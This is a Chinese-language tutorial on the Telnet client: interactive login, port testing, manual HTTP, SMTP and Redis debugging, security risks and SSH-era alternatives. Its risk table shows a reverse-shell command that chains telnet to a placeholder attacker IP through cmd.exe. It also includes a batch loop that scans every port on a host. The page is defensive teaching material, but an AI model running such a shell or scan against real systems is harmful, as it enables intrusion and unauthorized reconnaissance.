萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 網路安全 >  >> 網路應用技術

Telnet 指令實戰:遠端登入、連接埠測試、文字協定除錯與安全替代方案

Telnet 是 TCP/IP 協定族中最早的遠端登入協定 (RFC 854),雖因明文傳輸已被 SSH 取代,但其「原始 TCP 連線」特性,使其成為測試連接埠連通性、除錯文字型協定 (HTTP, SMTP, POP3, IMAP, Redis, Memcached) 的不可替代工具。本文涵蓋互動模式、腳本自動化、連接埠掃描、資安風險與現代替代方案。

基本互動流程

C:\> telnet
Microsoft Telnet> open 192.168.1.10 23   # 連線目標 IP:Port (預設 23)
登入: admin
密碼: ********
歡迎來到 Linux Server
$ whoami
root
$ exit
Connection closed.
Microsoft Telnet> quit

核心指令 (Microsoft Telnet Client)

指令功能範例
open host [port]建立連線open 192.168.1.10 23
close中斷目前連線,返回提示符
quit離開 Telnet 用戶端
set 選項設定終端機模式/本地回顯/記錄set localecho (開啟本地回顯)、set crlf (換行轉換)
unset 選項取消設定unset localecho
status顯示目前連線狀態
display顯示所有設定參數
send 字串發送特定字串 (含控制碼)send "GET / HTTP/1.0\r\n\r\n"
? / help顯示說明

三大實戰應用場景

1. 連接埠連通性測試 (替代 ping 無法穿透防火牆)

telnet 192.168.1.10 80      # 測試 Web 服務
telnet mail.example.com 25  # 測試 SMTP
telnet 10.0.0.5 3306        # 測試 MySQL
# 成功:畫面清空/顯示服務 Banner (如 220 SMTP Ready)
# 失敗:連線失敗/逾時/被拒絕

優點:應用層驗證、可觀察服務 Banner、不需 ICMP 放行。

2. 文字協定手動除錯

HTTP 範例

telnet www.example.com 80
GET / HTTP/1.1
Host: www.example.com
Connection: close

# 伺服器回應完整 HTTP Header + Body,可檢查:
# - 狀態碼、重導向、快取標頭
# - 壓縮編碼、內容長度
# - Keep-Alive 行為

SMTP 範例

telnet mail.example.com 25
EHLO client.example.com
MAIL FROM: 
RCPT TO: 
DATA
Subject: Test
From: test@client.example.com
To: user@example.com
Date: ...

測試郵件內容
.
QUIT

Redis 範例

telnet 127.0.0.1 6379
AUTH password
KEYS *
GET mykey
QUIT

3. 簡易連接埠掃描腳本

@echo off
for /L %%p in (1,1,65535) do (
  echo 正在掃描埠 %%p...
  echo. | telnet 192.168.1.100 %%p 2>nul | find "Connected" >nul && echo 開放: %%p
)
# 注意:極慢、極易被 IDS 偵測,實務請用 nmap/masscan

資安風險與防禦

風險說明緩解措施
明文傳輸帳密、指令、資料全程明文,ARP 欺騙/旁路監聽即可竊取全面禁用 Telnet Server,改用 SSH (Port 22)
無強式認證僅支援密碼認證,易遭暴力破解SSH 強制金鑰認證、Fail2ban 防暴力
資訊洩露Banner 洩露 OS 版本、服務版本、模組清單修改 Banner、最小化服務資訊揭露
反彈 Shell攻擊者利用 telnet 攻擊者IP 4444 | cmd.exe | telnet 攻擊者IP 5555 建立互動通道出站防火牆限制、EDR 行為偵測

現代替代工具對照

需求推薦工具優勢
遠端安全管理OpenSSH (Win10+ 內建), PuTTY, MobaXterm, Windows Terminal + SSH加密、金鑰認證、SFTP、Port Forwarding、ProxyJump
連接埠測試PowerShell Test-NetConnection -Port 80, tnc 別名原生、支援 DNS/TCP/追蹤、物件化輸出
文字協定除錯Netcat (nc), Ncat (Nmap 專案), Socat, OpenSSL s_client支援 SSL/TLS、UDP、Proxy、腳本化、十六進位檢視
自動化測試Expect, Pexpect (Python), Netcat 腳本可程式化互動流程、斷言驗證

Windows 啟用/停用 Telnet 用戶端

  • GUI:控制台 → 程式集 → 開啟或關閉 Windows 功能 → 勾選/取消「Telnet 用戶端」。
  • CLI (管理員):dism /online /Enable-Feature /FeatureName:TelnetClient / /Disable-Feature。
  • 伺服器端 (Telnet Server) 嚴禁啟用,Windows Server 2012+ 已移除此角色服務。

總結

Telnet 是「網路萬用表」:雖不宜作為遠端管理介面,但對「TCP 埠是否可達、服務是否回應正確 Banner、文字協定交握細節」的驗證能力無可取代。網管、開發、資安人員應熟練掌握 telnet host port + 手動協定交互,並將伺服器端徹底淘汰改用 SSH。

copyright © 萬盛學電腦網 all rights reserved